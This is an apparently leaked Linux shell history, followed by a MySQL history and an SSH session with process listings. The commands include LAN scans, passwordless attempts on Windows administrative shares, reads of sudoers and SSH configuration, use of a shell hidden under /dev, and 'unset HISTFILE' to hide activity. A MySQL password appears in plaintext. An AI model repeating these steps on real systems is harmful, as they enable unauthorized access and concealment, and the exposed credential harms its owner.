sudo su -
ls
ls /bin/bash
ls -l /bin/bash
ls -l /sbin/bash
ls -l /tmp/bash
ls -l /dev/bash
locate bash
find / -name "bash"
find / -name "bash" 2>/dev/null
ssh -l ircd localhost -p 443 -v
w
w
mesg
write Raster
write Raster
w
w

ps aux
telnet localhost 6667
/sbin/ifconfig
w
mesg
write Raster
w
w
smbclient -L
smbclient -L localhost
arp -an
/sbin/arp -an
ping 192.168.1.100
ping 192.168.1.101
ping 192.168.1.102
ping 192.168.1.103
/sbin/arp -an
smbclient -L -I 192.168.1.100
smbclient -L xp -I 192.168.1.100
smbclient -L xp -I 192.168.1.101
smbclient -L xp -I 192.168.1.102
smbclient -L xp -I 192.168.1.103
smbclient \\\\RASTERING\\C$  -I 192.168.1.102 -UAdministrator
smbclient \\\\RASTERING\\C$  -I 192.168.1.102 -U Administrator
smbclient \\\\RASTERING\\C$  -I 192.168.1.102 -U Administrator -p
smbclient \\\\RASTERING\\C$  -I 192.168.1.102 -U Administrator -P
smbclient -h
smbclient \\\\RASTERING\\C$  -I 192.168.1.102 -U Administrator -N
smbclient \\\\RASTERING\\C$  -I 192.168.1.102 -U Administrator -n MSHOME -N
smbclient \\\\RASTERING\\C$  -I 192.168.1.102 -U Administrator -n MSHOME 
smbclient \\\\KARENMAC\\C$  -I 192.168.1.102 -U Administrator -n WORKGROUP
smbclient -l KARENMAC  -I 192.168.1.102 -U Administrator -n WORKGROUP
smbclient -l KARENMAC  -I 192.168.1.103
smbclient -l KARENMAC  -I 192.168.1.101
smbclient -L KARENMAC  -I 192.168.1.101
smbclient -L KARENMAC  -I 192.168.1.102
smbclient -L KARENMAC  -I 192.168.1.103
smbclient -L KARENMAC  -I 192.168.1.104
smbclient -L KARENMAC  -I 192.168.1.105
smbclient -L KARENMAC  -I 192.168.1.102 -U Administrator -n WORKGROUP
smbclient -L KARENMAC  -I 192.168.1.103 -U Administrator -n WORKGROUP
smbclient -L KARENMAC  -I 192.168.1.102 -U Administrator -n WORKGROUP
w
w
w
top
ps auxww | grep Raster
ps auxww | grep vnc
echo $DISPLAY
xconsole 
xconsole 
xconsole 
xhost
xhost +
xconsole 
who
w
ps auxww | grep Raster
/usr/bin/gnome-session
w
w
smbclient -L xp -I 192.168.1.102
smbclient -L xp -I 192.168.1.102
smbclient -L KARENMAC  -I 192.168.1.102 -U Administrator -n WORKGROUP
smbclient -L xp -I 192.168.1.100
smbclient -L xp -I 192.168.1.101
smbclient -L xp -I 192.168.1.102
smbclient -L xp -I 192.168.1.103
smbclient -L xp -I 192.168.1.104
smbclient -L xp -I 192.168.1.105
smbclient -L RASTERING -I 192.168.1.102
smbclient \\\\RASTERING\\C$ -I 192.168.1.102
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Administrator
man smbclient
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Administrator -W mshome
smbclient -L RASTERING -I 192.168.1.102
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Administrator -W RASTERING
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Administrator -N RASTERING
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Administrator -n RASTERING
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U RASTERING\Administrator
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U RASTERING\Administrator -N
smbclient -L RASTERING -I 192.168.1.102
smbclient \\\\RASTERING\\Shared -I 192.168.1.102 -U RASTERING\Administrator -N
smbclient -L RASTERING -I 192.168.1.102
smbclient -h
lpq
lpstat
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Raster -n RASTERING
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Raster -n RASTERING
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Raster -n RASTERING
smbclient -L RASTERING -I 192.168.1.102 -U Raster
smbclient \\\\RASTERING\\G$ -I 192.168.1.102 -U Administrator -W RASTERING
smbclient \\\\RASTERING\\G$ -I 192.168.1.102 -U Administrator -W RASTERING -N
smbclient \\\\RASTERING\\G$ -I 192.168.1.102 -U Administrator -W RASTERING -p
smbclient \\\\RASTERING\\G$ -I 192.168.1.102 -U Administrator -W RASTERING -P
smbclient \\\\RASTERING\\G$ -I 192.168.1.102 -U Administrator -W RASTERING -k
smbclient -L RASTERING -I 192.168.1.102 -U Raster -k
smbclient -L RASTERING -I 192.168.1.103 -U Raster -k
smbclient -L RASTERING -I 192.168.1.101 -U Raster -k
/sbin/arp -ae
smbclient -L RASTERING -I 192.168.1.100 -U Raster -k
ping -b 192.168.1.255
/sbin/arp -ae
smbclient -L RASTERING -I 192.168.1.181 -U Raster
telnet 192.168.1.181
telnet 192.168.1.181 80
telnet 192.168.1.181 6667
telnet 192.168.1.181 22
telnet 192.168.1.181 21
telnet 192.168.1.181 8000
telnet 192.168.1.181 8080
telnet 192.168.1.181 567
nmap 
nmap  192.168.1.181 
nmap  192.168.1.181 -P0
nmap  192.168.1.0/24
nmap  192.168.1.0/24
lynx 192.168.1.104:8080
elinks 192.168.1.104:8080
nmap  192.168.1.0/24
elinks 192.168.1.102:8000
nmap  192.168.1.0/24
nmap  192.168.1.0/24 -v
elinks 192.168.1.1
w
xchat
firefox
mozilla 
man -k sniff
ls /home
ls /home/Raster/
ls -al /home/Raster/
ls -al /home/Raster/.mozilla/
ls -al /home/Raster/.mozilla/firefox/
less /home/Raster/.mozilla/firefox/profiles.ini 
ls -al /home/Raster/.mozilla/firefox/
ls -al /home/Raster/
echo $DISPLAY
firefox
echo $DISPLAY
export DISPLAY=localhost:10.0
firefox
ps x
firefox
export DISPLAY localhost:10.0
export DISPLAY=localhost:10.0
echo $DISPLAY
export DISPLAY=localhost:10
firefox
export DISPLAY=localhost:11
firefox
xconsole 
xconsole 
xterm 
w
write root
w
w
w
w
w
w
w
w
w
w
w
w
broadcast
/sbin/broadcast
/usr/sbin/broadcast
/usr/local/sbin/broadcast
find / -name "*broad*"
find / -name "*broad*" 2> /dev/null
wall
fg
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
screen -x
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
screen -x
screen -ls
screen -e^Tt
echo $DISPLAY
XCHAT
xchat
echo $DISPLAY
export DISPLAY=71.192.64.22:10
xchat
export DISPLAY=71.192.64.22:0
xchat
export DISPLAY=71.192.64.22:10
xchat
export DISPLAY=71.192.64.22:0.2
xchat
screen -x
w
who
mozilla 
ls
ls Incoming/
cd Incoming/
id
sudo su -
cat /etc/sudoers 
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_config
ls
ls -l
ls -la
xdpyinfo 
xterm
w
ps auxww | grep irc
w
dmesg
cat /proc//interrupts 
/sbin/ifconfig
cat /proc/acpi/video/
ls /proc/acpi/video/
cat /proc/acpi/info 
cat /proc/acpi/button/power/PWRF/info 
cat /proc/acpi/button/sleep/SLPB/info 
cat /proc/devices 
cat /proc/irq/11/radeon\@pci\:0000\:00\:09.0/
cat /proc/misc
dmesg | grep eth0
lsmod
/sbin/lsmod
uname -a
dmesg | grep -i ra
dmesg | grep -i video
dmesg | grep - rade
dmesg | grep -i rade
dmesg | grep xrm
dmesg | grep drm
dmesg | grep 200
dmesg | grep 200
ps auxww | grep X
passwd
w
ps auxww|grep astrer
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster

ps auxww|grep aster

ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|less
ifconfig
/sbin/ifconfig
/sbin/iptables -L
/sbin/iptables 
/sbin/iptables 00help
/sbin/iptables --help
/sbin/iptables -L -t nat
w
grep -i ipsec /etc/services 
grep -i sec /etc/services 
grep -i pptp /etc/services 
grep -i pp /etc/services 
grep -i 17 /etc/services 
grep -i vpn /etc/services 
ping -b 192.168.1.255
arp -a
/sbinarp -n
/sbin/arp -n
ping irc.humpmeg.net
ping irc.humpmeg.net
w
screen -x
ssh gumbie@www.zloche.net -v
ping www.zloche.net 
ping server.zloche.net 
ping server1.zloche.net 
cat .ssh/authorized_keys 
sz .ssh/authorized_keys 
ls
ls .ssh
less .ssh/authorized_keys 
ls -la .ssh
w
ps auxww|grep dead
ps auxww|grep pts/6
ps auxww|grep 508
w
ifconfig
/sbin/ifconfig
/sbin/arp -ae
screen -x
screen -ls
ssh 192.168.1.3
ssh 192.168.1.3
arp -en
/sbin/arp -en
ssh 192.168.1.3
ssh 192.168.1.3 -v
/sbin/arp -en
ping -b 192.168.1.255
ssh 192.168.1.3 -v
ssh 192.168.1.8 -v
ls /home
su - ircd
ls -la /var/log
w
w
fg
su - ircd
ssh ircd
ssh ircd@localhost
ssh ircd@localhost -P 443
ssh ircd@localhost -p443
/sbin/infconfig
/sbin/ifconfig
ping 192.168.1.255
ping -b 192.168.1.255
/sbin/arp -en
ping -b 192.168.1.255
ping -b 192.168.1.255
ping -b 192.168.1.255
ping -b 192.168.1.255
ping -b 192.168.1.255
ping 192.168.1.103
ssh -v 192.168.1.103
ssh -v 192.168.1.103
w
screen -x
screen -x
w
w
tty
ps x
irssi
epic
irc
xchat
xchat
export DISPLAY=71.192.64.22:0
xchat
export DISPLAY=71.192.64.22:1
xchat
export DISPLAY=71.192.64.22:0.0
xchat
export DISPLAY=71.192.64.22:10.0
xchat
export DISPLAY=71.192.64.22:10.1
xchat
export DISPLAY=127.0.0.1:10
xchat
export DISPLAY=127.0.0.1:0
xchat
export DISPLAY=127.0.0.1:0.10
xchat
man ssh
less /etc/ssh/sshd_config
less /etc/ssh/ssh_config
w
w
pico .screenrc
vi .screenrc
ls -la
mkdir Incoming
mv kibitz unreal.tgz Incoming/
w
w
/sbin/ifconfig
ssh -v 192.168.1.8
ps x
screen -ls
sudo su -
cat /etc/sudoers 
ls /home
ls -la
ssh ircd
ssh ircd@localhost
ssh ircd@localhost -p 443
ssh ircd@localhost -p 443
ssh ircd@localhost -p 443
ssh ircd@localhost -p 443
ssh ircd@localhost -p 443
ps x
screen -ls
s
ssh ircd@localhost -p 443
sudo su -
ssh irc@localhost -p 443
ssh irc@localhost -p 443
w
w
screen -ls
screen -x
screen -e^Tt
screen -x
screen -x
pwd
touch test
ls -la

ls -la
sudo su -
ls -la
cd /root
su -
ls -l /dev/rstm01/bash
/dev/rstm01/bash sudo su -
/dev/rstm01/bash 
man bash
w
uname -a
sudo su -
sudo su -
top
df
ls /mnt
ls /mnt/Rasterized/
ls /mnt/Rasterized/Rasterized\ Drive/
ls /mnt/Rasterized/Rasterized\ Drive/codecs/
ls /mnt/Rasterized/Guitar\ Pro\ 5/
ls /mnt/cstrike/
w
screen -x
ps x
top
dmesg
smbstatus
w
kill -1 -1
w
sudo su -
sudo su -
sudo su -
sudo su -
sudo su -
sudo su -
mysql -p
/usr/local/mysql/bin/mysql -p
/usr/local/mysql/bin/mysql -p
/usr/local/mysql/bin/mysql -p
/usr/local/mysql/bin/mysql -p
/usr/local/mysql/bin/mysql -p
sudo su -
sudo su -
sudo su -
sudo su -
mysqladmin -p shutdown
sudo su -
mysql -u ircd -p rasnet
screen -x
sudo su -
screen -x
sudo su -
screen -x
screen -ls
w
ps x
screen -e^Tt
screen -x
screen -x
uptime
ping escape.com
ping escape.com -c 10
sudo su -
sudo su -
screen -x
sudo su -
sudo su -
sudo su -
sudo su -
sudo su -
sudo su -
sudo su -
sudo su -
sudo su -
mysql -p -u gumbie
mysql -p -u gumbie
mysql -p -u gumbie
fg
fg
sudo su -
sudo su -
sudo su -
sudo su -
sudo su -
w
w
ps x
sudo su -
sudo su -
w
ps auxww | grep mysqld
mysql -p
mysql -p
w
screen -ls
screen -e^Gg
ls
rm *.tgz
screen -x
screen -e^Gg
ls
screen -x
screen -x
exit
ssh -p 22 irc3.zloche.net
ssh -p 22 irc3.zloche.net
ssh -p 22 irc3.zloche.net
screen -x
passwd
screen -x
screen -x
screen -x
screen -x
screen -x
screen -x
ls
screen -x
screen -e ^Tt
screen -x
man pdisk
man fdisk
man fdisk
man -k mbr
man gdisk
man -k disk | less
sudo su -
host irc.rasterized.net
screen -x
screen -e^Tt
screen -x
screen -x
screen -x
screen -x
screen -x
screen -e^Tt
screen -x
date
date
rdate -s date.nist.gov
rdate -s time.nist.gov
rdate -s time-a.nist.gov
rdate -a time-a.nist.gov
rdate -s time-a.nist.gov
screen -x
sudo rdate -a time-a.nist.gov

date
screen -e^Tt
screen -x
screen -x
screen -x
screen -x
[root@localhost gumbie]# cat .mysql_history 
_HiStOrY_V2_
set\040password\040=\040password("vfr1000r");
\134q
show\040grants
;
show tables;
select * from anope_os_news;
use rasnet
flush tables with read lock;
show mast status;
show master status;
unlock tables
;
show mast status;
show master status;
select * from anope_ns_access \G
select * from anope_ns_core \G
\q
show databases
;
use gumbie
show tables;
use Raster
show tables
;
shot datbases
;
show databases;
use rasnet
show tables;
show master status \G
status;
show sessions
\G
show sessions
;
show ?
;
help show
\1q
\q
show master status
;
flush tables with read lock;
show master status
;
unlock tables
;
\q

[root@localhost gumbie]# exit
[deadlyacid@localhost ~]$ ssh zloche@80.248.208.223
The authenticity of host '80.248.208.223 (80.248.208.223)' can't be established.
RSA key fingerprint is 83:0f:75:06:d2:da:85:fd:1c:93:39:83:89:7c:25:99.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '80.248.208.223' (RSA) to the list of known hosts.
Password: 
Linux vds349.sivit.org 2.6.12.6-xenU #1 SMP Fri Feb 24 01:08:35 CET 2006 i686 GNU/Linux

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.

Last login: Sat Jun  9 15:57:56 2007 from bas10-montreal02-1177583918.dsl.bell.ca
vds349.sivit.org> unset HISTFILE ; unset SAVEHIST
vds349.sivit.org> bash
zloche@vds349:~$ unset HISTFILE ; unset SAVEHIST
zloche@vds349:~$ w
 17:34:32 up 174 days, 14:23,  4 users,  load average: 0.00, 0.01, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
zloche   pts/9    bas10-montreal02 15:57   19:17   0.01s  0.01s -bash
stax     pts/7    :2.0             02Jan07 156days  0.05s  0.05s -bash
zloche   pts/13   bas10-montreal02 15:57   52:29   0.02s  0.02s -bash
zloche   pts/17   c-76-108-85-21.h 17:33    0.00s  0.02s  0.01s w
zloche@vds349:~$ ps aux
USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0  1580  112 ?        S     2006   3:33 init [4]    
root         2  0.0  0.0     0    0 ?        S     2006   0:49 [migration/0]
root         3  0.0  0.0     0    0 ?        SN    2006   0:05 [ksoftirqd/0]
root         4  0.0  0.0     0    0 ?        S<    2006   4:27 [events/0]
root         5  0.0  0.0     0    0 ?        S<    2006   0:01 [khelper]
root         6  0.0  0.0     0    0 ?        S<    2006   0:00 [kthread]
root         7  0.0  0.0     0    0 ?        S<    2006   0:00 [xenwatch]
root         8  0.0  0.0     0    0 ?        S<    2006   0:00 [xenbus]
root        11  0.0  0.0     0    0 ?        S<    2006   0:46 [migration/1]
root        12  0.0  0.0     0    0 ?        SN    2006   0:01 [ksoftirqd/1]
root        13  0.0  0.0     0    0 ?        S<    2006   0:49 [events/1]
root        16  0.0  0.0     0    0 ?        S<    2006   0:25 [kblockd/0]
root        17  0.0  0.0     0    0 ?        S<    2006   0:30 [kblockd/1]
root        49  0.0  0.0     0    0 ?        S     2006   7:26 [kswapd0]
root        50  0.0  0.0     0    0 ?        S<    2006   0:00 [aio/0]
root        51  0.0  0.0     0    0 ?        S<    2006   0:00 [aio/1]
root        52  0.0  0.0     0    0 ?        S<    2006   0:00 [xfslogd/0]
root        53  0.0  0.0     0    0 ?        S<    2006   0:00 [xfslogd/1]
root        54  0.0  0.0     0    0 ?        S<    2006   0:00 [xfsdatad/0]
root        55  0.0  0.0     0    0 ?        S<    2006   0:00 [xfsdatad/1]
root        56  0.0  0.0     0    0 ?        S     2006   0:30 [xfsbufd]
root       595  0.0  0.0     0    0 ?        S     2006  30:27 [kjournald]
daemon   10217  0.0  0.1  1684  188 ?        Ss    2006   0:00 /sbin/portmap
root     10289  0.0  0.1  1576  188 ?        Ss    2006   0:01 /sbin/klogd
root     10677  0.0  0.0  2800  116 ?        Ss    2006   0:00 /usr/sbin/famd -T
root     10706  0.0  0.3  1816  456 ?        Ss    2006   0:45 /usr/sbin/cron
root     10734  0.0  0.1  1572  232 tty1     Ss+   2006   0:00 /sbin/getty 38400
root     10735  0.0  0.2  2556  300 ?        Ss    2006   0:00 /bin/sh /command/
root     10737  0.0  0.0   136   20 ?        S     2006   3:41 svscan /service
root     10738  0.0  0.0    92    4 ?        S     2006   0:00 readproctitle ser
root     10739  0.0  0.0   100   16 ?        S     2006  26:51 supervise dnscach
root     10740  0.0  0.0   104   20 ?        S     2006   0:00 supervise log
dnslog   10742  0.0  0.0   108    4 ?        S     2006   5:12 multilog t /var/l
root     25936  0.0  1.2 24652 1680 ?        Ss    2006  23:29 /usr/bin/spamd -d
root     13041  0.0  0.5 16924  672 ?        S     2006   0:08 cpsrvd - waiting 
ircd     13243  0.0  2.3  5716 3096 ?        S    Jan01  37:48 ./ircd
root     28865  0.0  0.3  4824  424 ?        Ss   Jan02   0:02 /usr/bin/X11/xfs 
root     29047  0.0  0.2  2604  276 ?        S    Jan02   0:00 /bin/bash /etc/in
root     29048  0.0  0.2  2604  276 ?        S    Jan02   0:00 /bin/bash /etc/in
root     29049  0.0  0.2 11712  340 ?        S    Jan02   0:00 /usr/X11R6/bin/Xp
root     29051  0.0  0.2  2604  276 ?        S    Jan02   0:00 /bin/bash /etc/in
stax     29260  0.0  0.3 11412  508 ?        S    Jan02   2:08 Xtightvnc :1 -des
stax     29269  0.0  0.2 10900  384 ?        S    Jan02   0:07 x-window-manager
stax     29283  0.0  0.3 11760  528 ?        Ss   Jan02   3:47 xfce-mcs-manager
stax      3320  0.0  0.3 10176  508 ?        S    Jan02  52:56 Xtightvnc :2 -des
stax      3328  0.0  0.3  5480  452 ?        S    Jan02   4:55 xterm -geometry 8
stax      3329  0.0  0.2 10748  364 ?        S    Jan02   0:00 x-window-manager
stax      3336  0.0  0.3 11728  520 ?        Ss   Jan02   3:44 xfce-mcs-manager
stax      3337  0.0  0.2  2652  300 pts/7    Ss+  Jan02   0:00 -bash
root     18154  0.0  0.3  1828  404 ?        Ss   Jan09   0:00 /sbin/rpc.statd
nagios   14637  0.0  0.2  4412  304 ?        Ss   Feb02   0:00 ./ndo2db-2x -c /u
stax      8120  0.0  0.3 12336  532 ?        S    Feb02   3:43 ./sc_serv
stax      8121  0.0  0.3 12336  532 ?        S    Feb02   0:21 ./sc_serv
stax      8122  0.0  0.3 12336  532 ?        S    Feb02  14:41 ./sc_serv
stax      8123  0.0  0.3 12336  532 ?        S    Feb02   8:53 ./sc_serv
stax      8124  0.0  0.3 12336  532 ?        S    Feb02  15:06 ./sc_serv
stax      8174  0.0  0.3 15868  520 ?        S    Feb02   3:48 ./sc_serv
stax      8175  0.0  0.3 15868  520 ?        S    Feb02   0:22 ./sc_serv
stax      8176  0.0  0.3 15868  520 ?        S    Feb02  18:29 ./sc_serv
stax      8177  0.0  0.3 15868  520 ?        S    Feb02   8:38 ./sc_serv
stax      8178  0.0  0.3 15868  520 ?        S    Feb02  18:13 ./sc_serv
root      3360  0.0  0.3  1620  408 ?        Ss   Feb04   3:33 /sbin/syslogd
root       741  0.0  0.4  3804  588 ?        Ss   Feb04   0:59 /usr/sbin/sshd
cyrus    14369  0.0  0.1  2476  220 ?        Ss   Feb04   0:00 /usr/sbin/pwcheck
root      6103  0.0  0.2  1608  340 ?        Ss   Feb05   1:21 /usr/sbin/inetd
root     19002  0.0  0.4  2380  644 ?        S    Feb05   0:52 /bin/sh ./festiva
root     19012  0.0  0.3 23620  424 ?        S    Feb05   0:00 ./festival --serv
dnscache 19611  0.0  0.0  1432  116 ?        S    Feb05   0:01 /usr/local/bin/dn
www-data  8569  0.0  0.4 33460  624 ?        S    Mar01   0:24 /usr/local/bin/pe
www-data  8570  0.0  0.7 32472 1044 ?        S    Mar01   0:29 /usr/local/bin/pe
root      3052  0.0  0.0     0    0 ?        Z    Mar08   0:00 [festival] <defun
root      9328  0.0  0.2  2232  344 ?        Ss   Mar17   0:00 ftpd: accepting c
nagios   10388  0.0  0.4  2752  620 ?        Ss   Mar25   0:36 ./nagircbot -S -X
root     19029  0.0  0.1  1744  248 ?        S    Mar26   0:00 /usr/sbin/courier
root     19030  0.0  0.2  2416  292 ?        S    Mar26   0:00 /usr/lib/courier/
root     19032  0.0  0.2  2520  328 ?        S    Mar26   0:00 /usr/lib/courier/
root     19033  0.0  0.2  2416  292 ?        S    Mar26   0:00 /usr/lib/courier/
root     19034  0.0  0.2  2416  292 ?        S    Mar26   0:00 /usr/lib/courier/
root     19035  0.0  0.2  2520  328 ?        S    Mar26   0:00 /usr/lib/courier/
root     19036  0.0  0.2  2520  328 ?        S    Mar26   0:00 /usr/lib/courier/
gumbie   14873  0.0  1.1  3892 1484 ?        Ss   Apr18   0:24 SCREEN -e^Tt
gumbie   14874  0.0  0.4  2724  576 pts/5    Ss+  Apr18   0:00 /bin/bash
gumbie   14877  0.0  0.2  2712  312 pts/8    Ss   Apr18   0:00 /bin/bash
root     14880  0.0  2.3 10840 3208 pts/8    S    Apr18   0:02 -su
darwin   21215  0.0  0.5  2400  788 pts/8    S    Apr18   2:09 ./psybnc
gumbie   24879  0.0  0.4  2712  540 pts/10   Ss   Apr27   0:00 /bin/bash
zloche   26665  0.0  0.7 13572  980 ?        S    May01   0:19 php alwaysping.ph
gumbie   12756  0.0  0.2  2704  312 pts/12   Ss   May04   0:00 /bin/bash
root     12759  0.0  0.3  2720  504 pts/12   S    May04   0:00 -su
root     24211  0.0  0.2  6892  360 ?        Ss   May14   0:00 /usr/sbin/saslaut
root     24212  0.0  0.2  6892  360 ?        S    May14   0:00 /usr/sbin/saslaut
root     24213  0.0  0.2  6892  360 ?        S    May14   0:00 /usr/sbin/saslaut
root     24214  0.0  0.2  6892  360 ?        S    May14   0:00 /usr/sbin/saslaut
root     24215  0.0  0.2  6892  360 ?        S    May14   0:00 /usr/sbin/saslaut
root     24319  0.0  0.4  3028  604 ?        Ss   May14   0:30 /usr/lib/postfix/
zloche    1131  0.0  0.9 20352 1268 ?        S    May20   0:15 php server.php
test     19301  0.0  0.5  1964  744 ?        Ss   May26   0:04 ./linux
root     10077  0.0  0.0     0    0 ?        S    May26   0:13 [pdflush]
bind      3313  0.0  2.1 15800 2904 ?        Ss   May27   0:00 /usr/sbin/named -
bind      3314  0.0  2.1 15800 2904 ?        S    May27   0:01 /usr/sbin/named -
bind      3315  0.0  2.1 15800 2904 ?        S    May27   1:50 /usr/sbin/named -
bind      3316  0.0  2.1 15800 2904 ?        S    May27   1:46 /usr/sbin/named -
bind      3317  0.0  2.1 15800 2904 ?        S    May27   0:09 /usr/sbin/named -
bind      3318  0.0  2.1 15800 2904 ?        S    May27   0:58 /usr/sbin/named -
stats     9998  0.0  0.4  2732  612 pts/12   S+   May29   0:00 -su
ircd     20676  0.0  2.4 10456 3336 ?        S    May31   0:43 ./services
stats    22164  0.0  2.4 18444 3328 pts/12   S    May31   0:32 ./neostats
root     23940  0.0  0.3  2124  412 pts/8    T    May31   0:07 tail -F /var/log/
root     22268  0.0  1.9 63200 2668 pts/8    S    Jun03   0:08 /usr/sbin/apache
root     25788  0.0  0.5  2720  712 pts/10   S    Jun03   0:00 -su
postfix  32031  0.0  0.8  3356 1132 ?        S    Jun03   0:03 qmgr -l -t fifo -
root     17452  0.0  0.5  2384  672 pts/8    S    Jun04   0:00 /bin/sh /usr/bin/
mysql    17489  0.0  3.9 48060 5296 pts/8    S    Jun04   0:02 /usr/sbin/mysqld 
root     17490  0.0  0.2  1564  312 pts/8    S    Jun04   0:00 logger -p daemon.
mysql    17491  0.0  3.9 48060 5296 pts/8    S    Jun04   0:00 /usr/sbin/mysqld 
mysql    17492  0.0  3.9 48060 5296 pts/8    S    Jun04   0:00 /usr/sbin/mysqld 
mysql    17493  0.0  3.9 48060 5296 pts/8    S    Jun04   0:00 /usr/sbin/mysqld 
mysql    17494  0.0  3.9 48060 5296 pts/8    S    Jun04   0:00 /usr/sbin/mysqld 
mysql    17495  0.0  3.9 48060 5296 pts/8    S    Jun04   0:00 /usr/sbin/mysqld 
mysql    17497  0.0  3.9 48060 5296 pts/8    S    Jun04   0:04 /usr/sbin/mysqld 
mysql    17498  0.0  3.9 48060 5296 pts/8    S    Jun04   0:04 /usr/sbin/mysqld 
mysql    17499  0.0  3.9 48060 5296 pts/8    S    Jun04   0:00 /usr/sbin/mysqld 
mysql    17500  0.0  3.9 48060 5296 pts/8    S    Jun04   0:00 /usr/sbin/mysqld 
djdd     11579  0.0  0.4  2980  628 ?        Ss   Jun05   0:01 SCREEN irssi
djdd     11583  0.0  1.2  7728 1676 pts/15   Ss+  Jun05   0:32 irssi
djdd     11711  0.0  0.5  2684  784 pts/16   Ss+  Jun05   0:00 /bin/bash
rmachine  5873  0.0  0.8  2720 1204 pts/10   S+   Jun07   0:00 -su
root     20159  0.0  1.4 24652 1900 ?        S    Jun07   0:00 spamd child
root     20217  0.0  1.1 24652 1540 ?        S    Jun07   0:00 spamd child
nagios   12250  0.0  0.2  1892  288 ?        SL   Jun08   0:00 nsca -c /usr/loca
nagios   12355  0.0  0.7  8552 1040 ?        Ss   Jun08   0:09 /usr/local/nagios
nagios   12356  0.0  0.7  8552 1040 ?        S    Jun08   0:00 /usr/local/nagios
